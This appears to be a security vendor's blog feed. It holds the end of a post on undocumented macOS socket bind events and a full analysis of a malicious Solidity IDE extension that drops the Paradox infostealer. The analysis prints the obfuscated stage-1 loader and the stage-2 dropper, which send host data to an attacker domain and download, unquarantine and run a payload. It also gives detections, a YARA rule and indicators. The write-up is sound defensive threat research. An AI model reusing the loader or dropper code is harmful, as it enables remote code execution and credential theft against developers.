          <td>0</td>
          <td>6</td>
          <td>0</td>
      </tr>
      <tr>
          <td>IPv6 TCP</td>
          <td>1</td>
          <td>0</td>
          <td>6</td>
          <td>0</td>
      </tr>
      <tr>
          <td>IPv4 UDP</td>
          <td>1</td>
          <td>1</td>
          <td>17</td>
          <td>0</td>
      </tr>
      <tr>
          <td>IPv6 UDP</td>
          <td>1</td>
          <td>1</td>
          <td>17</td>
          <td>0</td>
      </tr>
  </tbody>
</table>
<p>The values at <code>+0x10</code> stand out: <code>6</code> for TCP and <code>17</code> for UDP. These match the IANA protocol numbers from RFC 1700:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#719e07">#define IPPROTO_TCP             6               </span><span style="color:#586e75">/* tcp */</span><span style="color:#719e07">
</span></span></span><span style="display:flex;"><span><span style="color:#719e07">#define IPPROTO_UDP             17              </span><span style="color:#586e75">/* udp */</span><span style="color:#719e07">
</span></span></span></code></pre></div><p>The field at <code>+0x0C</code> appears to indicate socket type (<code>0</code> for <code>SOCK_STREAM</code>, <code>1</code> for <code>SOCK_DGRAM</code>).</p>
<p>To understand the remaining fields, further testing explored edge cases. Setting various socket options like <code>SO_REUSEADDR</code> and <code>SO_REUSEPORT</code> before binding had no effect on any of these values. Binding to different interfaces (loopback versus all interfaces) also produced no change in the metadata fields.</p>
<p>Raw sockets do not trigger the event at all. Unix domain sockets also do not generate these events, which makes sense given ESF already has <code>ES_EVENT_TYPE_NOTIFY_UIPC_BIND</code> for that purpose.</p>
<p>Across all tests, the fields at <code>+0x08</code> and <code>+0x14</code> remained constant at <code>1</code> and <code>0</code> respectively. Without additional test cases that cause these values to change, their exact meaning remains unclear.</p>
<h3 id="reconstructed-structure">Reconstructed Structure</h3>
<p>Putting it all together with the information we have:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#719e07">typedef</span> <span style="color:#719e07">struct</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#dc322f">uint32_t</span> family;     <span style="color:#586e75">// +0x00: AF_INET (2), AF_INET6 (30)
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>    <span style="color:#dc322f">uint8_t</span>  addr[<span style="color:#2aa198">16</span>];   <span style="color:#586e75">// +0x04: IPv4 in first 4 bytes; IPv6 uses all 16
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>    <span style="color:#dc322f">uint32_t</span> port;       <span style="color:#586e75">// +0x14: port in host byte order
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>} <span style="color:#dc322f">es_socket_bind_addr_t</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">#define ES_SOCK_TYPE_STREAM 0
</span></span></span><span style="display:flex;"><span><span style="color:#719e07">#define ES_SOCK_TYPE_DGRAM  1
</span></span></span><span style="display:flex;"><span><span style="color:#719e07"></span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">typedef</span> <span style="color:#719e07">struct</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#dc322f">es_socket_bind_addr_t</span> <span style="color:#719e07">*</span>addr; <span style="color:#586e75">// +0x00: pointer to address
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>    <span style="color:#dc322f">uint32_t</span> unknown_08;         <span style="color:#586e75">// +0x08: always 1
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>    <span style="color:#dc322f">uint32_t</span> socket_type;        <span style="color:#586e75">// +0x0C: STREAM(0) or DGRAM(1)
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>    <span style="color:#dc322f">uint32_t</span> protocol;           <span style="color:#586e75">// +0x10: IPPROTO_TCP(6), IPPROTO_UDP(17)
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>    <span style="color:#dc322f">uint32_t</span> unknown_14;         <span style="color:#586e75">// +0x14: always 0
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>} <span style="color:#dc322f">es_socket_bind_inner_t</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">typedef</span> <span style="color:#719e07">struct</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#dc322f">es_socket_bind_inner_t</span> <span style="color:#719e07">*</span>inner; <span style="color:#586e75">// +0x00
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>} <span style="color:#dc322f">es_event_socket_bind_t</span>;
</span></span></code></pre></div><h2 id="conclusion">Conclusion</h2>
<p>Apple&rsquo;s undocumented <code>ES_EVENT_TYPE_RESERVED_3</code> and <code>_4</code> events provide socket bind AUTH and NOTIFY capabilities respectively. By reverse engineering the event struct, these events expose:</p>
<ul>
<li>Address family (IPv4/IPv6)</li>
<li>Bound IP address</li>
<li>Port number</li>
<li>Socket type and protocol</li>
</ul>
<p>&hellip;and perhaps a little bit more we don&rsquo;t quite understand yet. Combined with the network connection events Patrick documented, macOS 26.4 delivers substantial new network visibility through ESF. While these events remain undocumented and could change in future releases, they represent a meaningful expansion of what&rsquo;s possible for macOS security tools, without the complexity of Network Extensions.</p>
<p>We look forward to Apple formally documenting these events and providing stable struct definitions in a future SDK release. New events means new detection opportunities, and we&rsquo;re excited to further explore how to leverage this enhanced visibility.</p>
]]></content:encoded><category>ESF</category><category>Endpoint Security Framework</category><category>macOS Internals</category><category>Research</category><media:content url="https://phorion.io/blog/reverse-engineering-macos-26.4s-undocumented-socket-bind-events/social-card.png" medium="image"/></item><item><title>macOS Paradox Stealer used in Solidity Open VSX Extension Attack</title><link>https://phorion.io/blog/macos-paradox-stealer-used-in-solidity-open-vsx-extension-attack/</link><guid isPermaLink="true">https://phorion.io/blog/macos-paradox-stealer-used-in-solidity-open-vsx-extension-attack/</guid><pubDate>Thu, 27 Nov 2025 09:30:00 +0000</pubDate><description>Threat actors used a malicious Cursor extension to push Paradox Stealer into developer workflows. The blog traces the attack step by step and highlights the detections that prevented data theft.</description><content:encoded><![CDATA[<p>VSCode-derived IDEs with AI assisted capabilities, such as Cursor, have exploded in popularity. In many ways, their appeal mirrors that of VSCode, where extensibility enables much of the functionality developers rely on. Open VSX provides the shared extension registry used by Cursor and other compatible IDEs, enabling developers to bring over familiar tools with minimal friction.</p>
<p>This thriving ecosystem of third party extensions has created an opening for threat actors. Extensions often inherit broad permissions that allow code execution and file access, making them attractive points of initial access. The combination of developer trust, extension convenience and supply chain adjacency continues to produce high value opportunities for malicious actors across macOS environments.</p>
<p><a href="https://secureannex.com/blog/sleepyduck-malware/">Secure Annex&rsquo;s reporting</a> on SleepyDuck in early November highlighted this trend, documenting a similar extension to that in this blog. These malicious extensions have now shifted to an infostealer payload, which reinforces how adaptable the technique is. The lure remains effective because it leans on a familiar trust signal. The extension climbed to the top of the store by download count, which is (understandably) a common metric developers use to judge whether a plugin is safe.</p>
<p>This blog examines a real-world infection chain that originated from a malicious Cursor extension. We detail how the attack progressed, how Phorion caught and prevented the attack, and the lessons defenders can apply to similar threats.</p>
<h2 id="infection-chain"><strong>Infection Chain</strong></h2>
<h3 id="ether-solidity-extension">Ether Solidity Extension</h3>
<p><img src="openvsx.png" alt="Open VSX extension store searching for Solidity"></p>
<p>The infection starts with developers searching the Open VSX registry for Solidity support. The Ether Solidity extension (<code>ether.solidity</code>) is presented as the top result, with more than 117k downloads since 24 November - an almost certainly artificially-inflated figure.</p>
<blockquote>
<p>Both the specific extension and publisher have now been removed from Open VSX.</p>
</blockquote>
<h3 id="stage-1">Stage 1</h3>
<p>After installation, the extension executes JavaScript hidden inside a file posing as <code>webpack.js</code>. That file exposes the core functionality of the extension:</p>
<ul>
<li>Collect basic information about the host, such as hostname, username and MAC address.</li>
<li>Make a POST request with this data to an external site.</li>
<li>Execute the returned 2nd stage JavaScript code.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#268bd2">function</span> init () {
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> burger_strawberry <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;https&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> soda <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;vm&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> vanilla_fruit <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;fs&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> melon <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;os&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> apple_apple <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;path&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> candy <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;crypto&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">const</span> apple <span style="color:#719e07">=</span> (<span style="color:#b58900">Object</span> <span style="color:#719e07">+</span> <span style="color:#2aa198">&#39;&#39;</span>).split(<span style="color:#2aa198">&#39; &#39;</span>)[<span style="color:#2aa198">0</span>] <span style="color:#719e07">+</span> <span style="color:#2aa198">&#34;.&#34;</span> <span style="color:#719e07">+</span> (<span style="color:#cb4b16">undefined</span>) <span style="color:#719e07">+</span> (<span style="color:#2aa198">23</span> <span style="color:#719e07">-</span> <span style="color:#2aa198">2</span>) <span style="color:#719e07">+</span> <span style="color:#2aa198">&#34;.com&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">function</span> berry_burger () {
</span></span><span style="display:flex;"><span>        <span style="color:#268bd2">const</span> ifaces <span style="color:#719e07">=</span> melon.networkInterfaces();
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">for</span> (<span style="color:#268bd2">const</span> name <span style="color:#719e07">of</span> <span style="color:#b58900">Object</span>.keys(ifaces)) {
</span></span><span style="display:flex;"><span>            <span style="color:#719e07">for</span> (<span style="color:#268bd2">const</span> iface <span style="color:#719e07">of</span> ifaces[name]) {
</span></span><span style="display:flex;"><span>                <span style="color:#719e07">if</span> (<span style="color:#719e07">!</span>iface.internal <span style="color:#719e07">&amp;&amp;</span> iface.mac <span style="color:#719e07">!==</span> <span style="color:#2aa198">&#39;00:00:00:00:00:00&#39;</span>) {
</span></span><span style="display:flex;"><span>                    <span style="color:#719e07">return</span> iface.mac;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">return</span> <span style="color:#2aa198">&#39;unknown&#39;</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">function</span> burger_garlic () {
</span></span><span style="display:flex;"><span>        <span style="color:#268bd2">const</span> data <span style="color:#719e07">=</span> melon.hostname() <span style="color:#719e07">+</span> berry_burger() <span style="color:#719e07">+</span> melon.platform();
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">return</span> candy.createHash(<span style="color:#2aa198">&#39;sha256&#39;</span>).update(data).digest(<span style="color:#2aa198">&#39;hex&#39;</span>).substring(<span style="color:#2aa198">0</span>, <span style="color:#2aa198">16</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">const</span> wheat_pasta <span style="color:#719e07">=</span> {
</span></span><span style="display:flex;"><span>        hostname<span style="color:#719e07">:</span> melon.hostname(),
</span></span><span style="display:flex;"><span>        username<span style="color:#719e07">:</span> melon.userInfo().username,
</span></span><span style="display:flex;"><span>        platform<span style="color:#719e07">:</span> melon.platform(),
</span></span><span style="display:flex;"><span>        macAddress<span style="color:#719e07">:</span> berry_burger(),
</span></span><span style="display:flex;"><span>        machineId<span style="color:#719e07">:</span> burger_garlic()
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">function</span> pizza () {
</span></span><span style="display:flex;"><span>        <span style="color:#268bd2">const</span> options <span style="color:#719e07">=</span> {
</span></span><span style="display:flex;"><span>            method<span style="color:#719e07">:</span> <span style="color:#2aa198">&#39;POST&#39;</span>,
</span></span><span style="display:flex;"><span>            headers<span style="color:#719e07">:</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#2aa198">&#39;Content-Type&#39;</span><span style="color:#719e07">:</span> <span style="color:#2aa198">&#39;application/json&#39;</span>
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#268bd2">const</span> req <span style="color:#719e07">=</span> burger_strawberry.request(<span style="color:#2aa198">&#34;https://&#34;</span> <span style="color:#719e07">+</span> apple <span style="color:#719e07">+</span> <span style="color:#2aa198">&#39;/p&#39;</span>, options, (res) =&gt; {
</span></span><span style="display:flex;"><span>            <span style="color:#268bd2">let</span> pasta_water <span style="color:#719e07">=</span> <span style="color:#2aa198">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>            res.on(<span style="color:#2aa198">&#39;data&#39;</span>, (strawberry_onion) =&gt; pasta_water <span style="color:#719e07">+=</span> strawberry_onion);
</span></span><span style="display:flex;"><span>            res.on(<span style="color:#2aa198">&#39;end&#39;</span>, () =&gt; {
</span></span><span style="display:flex;"><span>                <span style="color:#719e07">try</span> {
</span></span><span style="display:flex;"><span>                    <span style="color:#268bd2">const</span> barley <span style="color:#719e07">=</span> soda.createContext({
</span></span><span style="display:flex;"><span>                        console,
</span></span><span style="display:flex;"><span>                        require,
</span></span><span style="display:flex;"><span>                        process,
</span></span><span style="display:flex;"><span>                        Buffer,
</span></span><span style="display:flex;"><span>                        burger_strawberry,
</span></span><span style="display:flex;"><span>                        apple,
</span></span><span style="display:flex;"><span>                        vanilla_fruit,
</span></span><span style="display:flex;"><span>                        melon,
</span></span><span style="display:flex;"><span>                        apple_apple
</span></span><span style="display:flex;"><span>                    });
</span></span><span style="display:flex;"><span>                    soda.runInContext(pasta_water, barley);
</span></span><span style="display:flex;"><span>                } <span style="color:#719e07">catch</span> (e) {}
</span></span><span style="display:flex;"><span>            });
</span></span><span style="display:flex;"><span>        });
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        req.write(JSON.stringify(wheat_pasta));
</span></span><span style="display:flex;"><span>        req.end();
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    pizza();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>module.exports <span style="color:#719e07">=</span> init;
</span></span></code></pre></div><p>Following a consistent culinary theme, the constant <code>apple</code> is being used to obfuscate the domain name used for future communication - <code>function[.]undefined21[.]com</code>.</p>
<p><code>const apple = (Object + '').split(' ')[0] + &quot;.&quot; + (undefined) + (23 - 2) + &quot;.com&quot;;</code></p>
<p>The code combines the hostname, MAC address and platform, then hashes them to generate a machine ID, likely enabling the actor to track unique infections across the campaign. This data is then sent to the C2 domain.</p>
<p>Finally, the response from the web request is used with the <code>vm.runInContext()</code> method to compile and run the subsequent stage.</p>
<h3 id="stage-2">Stage 2</h3>
<p>Fetching the contents of the JavaScript response reveals the second stage payload dropper code that makes no attempt to hide its intentions.</p>
<p>It retrieves data from the <code>/sss</code> endpoint of the original domain, writes it to a file named <code>xoxoxoxxx</code> in a temporary directory, and uses a series of nested callbacks that execute operating system commands to mark the file as executable and strip the quarantine attribute, before executing it. The <code>fs.unlink()</code> function is the final step, removing the file from disk.</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#268bd2">var</span> fs <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;fs&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#268bd2">var</span> os <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;os&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#268bd2">var</span> https <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;https&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#268bd2">var</span> path <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;path&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#268bd2">var</span> { exec } <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;child_process&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#268bd2">function</span> downloadAndRun() {
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> url <span style="color:#719e07">=</span> <span style="color:#2aa198">&#39;https://function[.]undefined21[.]com/sss&#39;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> filename <span style="color:#719e07">=</span> <span style="color:#2aa198">&#39;xoxoxoxxx&#39;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> filePath <span style="color:#719e07">=</span> path.join(os.tmpdir(), filename);
</span></span><span style="display:flex;"><span>    https
</span></span><span style="display:flex;"><span>        .get(url, res =&gt; {
</span></span><span style="display:flex;"><span>            <span style="color:#719e07">if</span> (res.statusCode <span style="color:#719e07">!==</span> <span style="color:#2aa198">200</span>) {
</span></span><span style="display:flex;"><span>                res.resume();
</span></span><span style="display:flex;"><span>                <span style="color:#719e07">return</span>;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>            <span style="color:#268bd2">var</span> fileStream <span style="color:#719e07">=</span> fs.createWriteStream(filePath);
</span></span><span style="display:flex;"><span>            res.pipe(fileStream);
</span></span><span style="display:flex;"><span>            fileStream.on(<span style="color:#2aa198">&#39;finish&#39;</span>, () =&gt; {
</span></span><span style="display:flex;"><span>                fileStream.close();
</span></span><span style="display:flex;"><span>                exec(<span style="color:#586e75">`chmod +x &#34;</span><span style="color:#2aa198">${</span>filePath<span style="color:#2aa198">}</span><span style="color:#586e75">&#34;`</span>, () =&gt; {
</span></span><span style="display:flex;"><span>                    exec(<span style="color:#586e75">`xattr -d com.apple.quarantine &#34;</span><span style="color:#2aa198">${</span>filePath<span style="color:#2aa198">}</span><span style="color:#586e75">&#34;`</span>, () =&gt; {
</span></span><span style="display:flex;"><span>                        exec(<span style="color:#586e75">`&#34;</span><span style="color:#2aa198">${</span>filePath<span style="color:#2aa198">}</span><span style="color:#586e75">&#34;`</span>, () =&gt; {
</span></span><span style="display:flex;"><span>                            fs.unlink(filePath, () =&gt; {});
</span></span><span style="display:flex;"><span>                        });
</span></span><span style="display:flex;"><span>                    });
</span></span><span style="display:flex;"><span>                });
</span></span><span style="display:flex;"><span>            });
</span></span><span style="display:flex;"><span>        })
</span></span><span style="display:flex;"><span>        .on(<span style="color:#2aa198">&#39;error&#39;</span>, () =&gt; {});
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>downloadAndRun();
</span></span></code></pre></div><h3 id="stage-3---paradox-stealer">Stage 3 - Paradox Stealer</h3>
<p>The dropped executable <code>xoxoxoxxx</code> contains a Golang-based macOS infostealer. Indicators strongly suggest that the codebase is heavily shared (if not identical) to an open-source GitHub project called <code>paradox</code> (<a href="https://github.com/githubesson/paradox">https://github.com/githubesson/paradox</a>), which this blog refers to as Paradox Stealer.</p>
<p><img src="paradox-github.png" alt="githubesson/paradox GitHub repository"></p>
<p>The Paradox Stealer repository offers tooling that collects browser data, chat application records, keychain items and cryptowallets. It also includes a management application and supporting server components.</p>
<p>The project frames itself as research, which aligns with its use of familiar macOS infostealer techniques found in families such as AMOS, Poseidon and Banshee. It is, however, currently being deployed in active campaigns tied to the wider attack discussed in this article.</p>
<p>Paradox Stealer initialises by preparing the initial directory structure that is used to stage collected data. It then follows with typical Infostealer system reconnaissance tasks.</p>
<ol>
<li><strong>System Profiler:</strong> Executes the shell command, <code>system_profiler SPSoftwareDataType SPHardwareDataType</code></li>
<li><strong>Public IP:</strong> Uses Golang&rsquo;s HTTP client to make a request to <a href="https://freeipapi.com/api/json/"><code>https://freeipapi.com/api/json/</code></a> and <a href="https://api.ipify.org/?format=json"><code>https://api.ipify.org/?format=json</code></a> in order to determine public IP and approximate geographic location.</li>
<li><strong>User Password Prompt via AppleScript:</strong> Uses <code>osascript</code> to display a credential prompt. The entered password is validated with <code>dscl /Local/Default -authonly &lt;username&gt; &lt;password&gt;</code>.</li>
</ol>
<p><img src="applescript.png" alt="Paradox Stealer AppleScript prompting code"></p>
<p>With initial reconnaissance captured, the stealer checks for <code>~/Library/Keychains</code>. If the directory exists, it copies it into its staging location. The user&rsquo;s keychain on macOS is protected with the local account password that was harvested during the initial system information collection phase.</p>
<p>It then enumerates installed browsers and identifies active profiles. From there, it searches for credential stores and other sensitive files such as cookies, saved login data and browsing history. Paradox Stealer supports most common Chromium and Gecko based browsers, although it does not target Safari. The absence of Safari support is likely due to the higher barrier to accessing Safari data given its tighter integration with TCC.</p>
<p><img src="browsers.png" alt="Paradox Stealer list of targeted browsers"></p>
<p>It also examines extension directories and compares them against a predefined list of cryptocurrency wallet extensions.</p>
<p><img src="extensions.png" alt="Paradox Stealer list of targeted extensions"></p>
<p>The stealer checks for Telegram and Discord next. If either application is installed, it extracts the stored chat data. It follows the same pattern for cryptocurrency wallet applications, such as Exodus or Electrum, by collecting their on-disk data stores.</p>
<p>All extracted data is finally compressed into <code>output.zip</code> with Golang&rsquo;s <code>archive/zip</code> package. This archive is then exfiltrated to the same domain used throughout the attack, <code>https://function[.]undefined21[.]com/upload</code>, using Golang&rsquo;s native HTTP client.</p>
<h2 id="detection-opportunities">Detection Opportunities</h2>
<h3 id="malicious-extension-load-esf-visibility">Malicious Extension Load (ESF Visibility)</h3>
<p>In this campaign, the earliest point of visibility comes from the moment the IDE loads the malicious extension. Apple&rsquo;s Endpoint Security Framework (ESF) exposes file-open events (<code>ES_EVENT_TYPE_NOTIFY_OPEN</code>) that clearly show the IDE accessing the specific compromised package from this attack. For Cursor, the extension is loaded from:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>source_binary_path:/Applications/Cursor.app/Contents/MacOS/Cursor
</span></span><span style="display:flex;"><span>source_signing_id:com.todesktop.230313mzl4w4u92
</span></span><span style="display:flex;"><span>filepath:/Users/alfie/.cursor/extensions/ether.solidity-0.0.191-universal/package.json
</span></span></code></pre></div><h3 id="suspicious-behaviour-originating-from-the-ide">Suspicious Behaviour Originating From the IDE</h3>
<p>Once loaded, the compromised extension initiates a predictable chain of actions that are uncommon for legitimate IDE behaviour. Using ESF process exec telemetry (<code>ES_EVENT_TYPE_NOTIFY_EXEC</code>), helper processes can be seen writing the Paradox Stealer binary to a temporary directory, modifying its attributes, and executing it.</p>
<p>The second stage script leverages Node.js <code>child_process.exec()</code> to spawn <code>bash</code>, which then executes commands such as <code>chmod</code> and <code>xattr</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>parent_binary_path: /Applications/Cursor.app/Contents/Frameworks/Cursor Helper (Plugin).app/Contents/MacOS/Cursor Helper (Plugin)
</span></span><span style="display:flex;"><span>parent_signing_id: com.github.Electron.helper
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>source_binary_path: /bin/bash
</span></span><span style="display:flex;"><span>source_signing_id: com.apple.bash
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>binary_path: /bin/chmod
</span></span><span style="display:flex;"><span>signing_id: com.apple.chmod
</span></span><span style="display:flex;"><span>process_args: chmod +x xoxoxoxxx
</span></span></code></pre></div><p>The final payload is written and launched from a transient path under <code>/private/var/folders</code>, a location that legitimate IDE helpers rarely execute arbitrary, unsigned content from. Execution originating from this directory by an IDE-associated helper represents a strong behavioural detection opportunity.</p>
<h3 id="paradox-stealer">Paradox Stealer</h3>
<p>If the payload executes successfully, the following signals form typical points of detection for infostealer behaviour, including Paradox Stealer.</p>
<ul>
<li><code>osascript</code> prompting for user credentials</li>
<li>Unexpected <code>dscl -authonly</code> authentication attempts</li>
<li>Direct interaction with the keychain by unsigned or untrusted binaries</li>
</ul>
<p>Once running, Paradox targets high-value browser and wallet data. Unusual access to browser cookie stores, cryptocurrency-related extensions, or credential repositories provides high-confidence signals that the malware has entered its data-theft stage.</p>
<p>Further analysis of the Paradox Stealer codebase shows a modular design with folders dedicated to discovery, extraction and related functions. Based on the exposed function names, Phorion developed the following YARA rule that can be used to detect the payload.</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>rule MAL_Paradox_Stealer_Nov25 {
</span></span><span style="display:flex;"><span>    meta:
</span></span><span style="display:flex;"><span>        description = &#34;Compiled Go binary for Paradox Stealer&#34;
</span></span><span style="display:flex;"><span>        author = &#34;Phorion&#34;
</span></span><span style="display:flex;"><span>        date = &#34;2025-11-26&#34;
</span></span><span style="display:flex;"><span>        score = 70
</span></span><span style="display:flex;"><span>    strings:
</span></span><span style="display:flex;"><span>        $n = &#34;paradox_payload&#34; ascii wide
</span></span><span style="display:flex;"><span>        $f1 = &#34;CheckBrowserDirectories&#34; ascii wide
</span></span><span style="display:flex;"><span>        $f2 = &#34;CheckCryptoDirectories&#34; ascii wide
</span></span><span style="display:flex;"><span>        $f3 = &#34;CheckKeychainDirectories&#34; ascii wide
</span></span><span style="display:flex;"><span>        $f4 = &#34;CheckCommunicationAppDirectories&#34; ascii wide
</span></span><span style="display:flex;"><span>        $f5 = &#34;ExtractBrowserData&#34; ascii wide
</span></span><span style="display:flex;"><span>        $f6 = &#34;getMacOSPasswordViaAppleScript&#34; ascii wide
</span></span><span style="display:flex;"><span>        $f7 = &#34;GetIPInfo&#34; ascii wide
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    condition:
</span></span><span style="display:flex;"><span>        filesize &lt; 10MB and
</span></span><span style="display:flex;"><span>        (uint32(0) == 0xfeedface or    // the mach magic number
</span></span><span style="display:flex;"><span>         uint32(0) == 0xcefaedfe or    // NXSwapInt(MH_MAGIC)
</span></span><span style="display:flex;"><span>         uint32(0) == 0xfeedfacf or    // the 64-bit mach magic number
</span></span><span style="display:flex;"><span>         uint32(0) == 0xcffaedfe or    // NXSwapInt(MH_MAGIC_64)
</span></span><span style="display:flex;"><span>         (
</span></span><span style="display:flex;"><span>            uint32(0) == 0xcafebabe and    // Mach-O FAT binaries
</span></span><span style="display:flex;"><span>            uint16(4) &lt; 0x30               // Avoid Java classes
</span></span><span style="display:flex;"><span>         )) and
</span></span><span style="display:flex;"><span>        all of them
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h2 id="phorions-approach">Phorion&rsquo;s Approach</h2>
<p>Phorion&rsquo;s macOS-native EDR detected and prevented the Paradox Stealer payload before it could execute. This matters in the context of infostealers because detection alone is rarely enough to protect sensitive data. Once a process reaches browser storage or keychain paths, the window to prevent theft is small.</p>
<p>If an infostealer does execute, Phorion&rsquo;s cookie theft protections provide an additional layer of defence. These controls block non-browser processes from accessing sensitive browser file paths and terminate offending processes the moment they touch protected locations. The design interrupts infostealers early in their workflow and significantly reduces the chance of data leaving the device using a behavioural methodology.</p>
<p>Effective investigation also depends on visibility. Phorion collects extension metadata from IDEs such as Cursor and VSCode, enabling rapid identification of hosts running malicious or backdoored packages. This shortens the investigation cycle and simplifies response during active incidents.</p>
<p>Interested in how Phorion defends macOS endpoints against threats like Paradox Stealer? <a href="#cta">Get in touch to arrange a demo</a>.</p>
<h2 id="indicators"><strong>Indicators</strong></h2>
<table>
  <thead>
      <tr>
          <th style="text-align: left">IOC</th>
          <th style="text-align: left">Type</th>
          <th style="text-align: left">Notes</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: left"><code>c0325074a01db097d0dcddfe5f792f7d6da5c719</code></td>
          <td style="text-align: left">SHA1</td>
          <td style="text-align: left">package.json</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>8786e4c0ee4bee8fc16902b5090c26c17a3ef4ec</code></td>
          <td style="text-align: left">SHA1</td>
          <td style="text-align: left">webpack.js</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>48e041224a58e967741bfdc5837e589af34e6a9a</code></td>
          <td style="text-align: left">SHA1</td>
          <td style="text-align: left">Paradox Stealer Binary</td>
      </tr>
      <tr>
          <td style="text-align: left"><code>function[.]undefined21[.]com</code></td>
          <td style="text-align: left">Domain</td>
          <td style="text-align: left"></td>
      </tr>
      <tr>
          <td style="text-align: left"><code>xoxoxoxxx</code></td>
          <td style="text-align: left">Binary Name</td>
          <td style="text-align: left"></td>
      </tr>
      <tr>
          <td style="text-align: left"><code>~/.cursor/extensions/ether.solidity-0.0.191-universal/</code></td>
          <td style="text-align: left">Path</td>
          <td style="text-align: left"></td>
      </tr>
  </tbody>
</table>
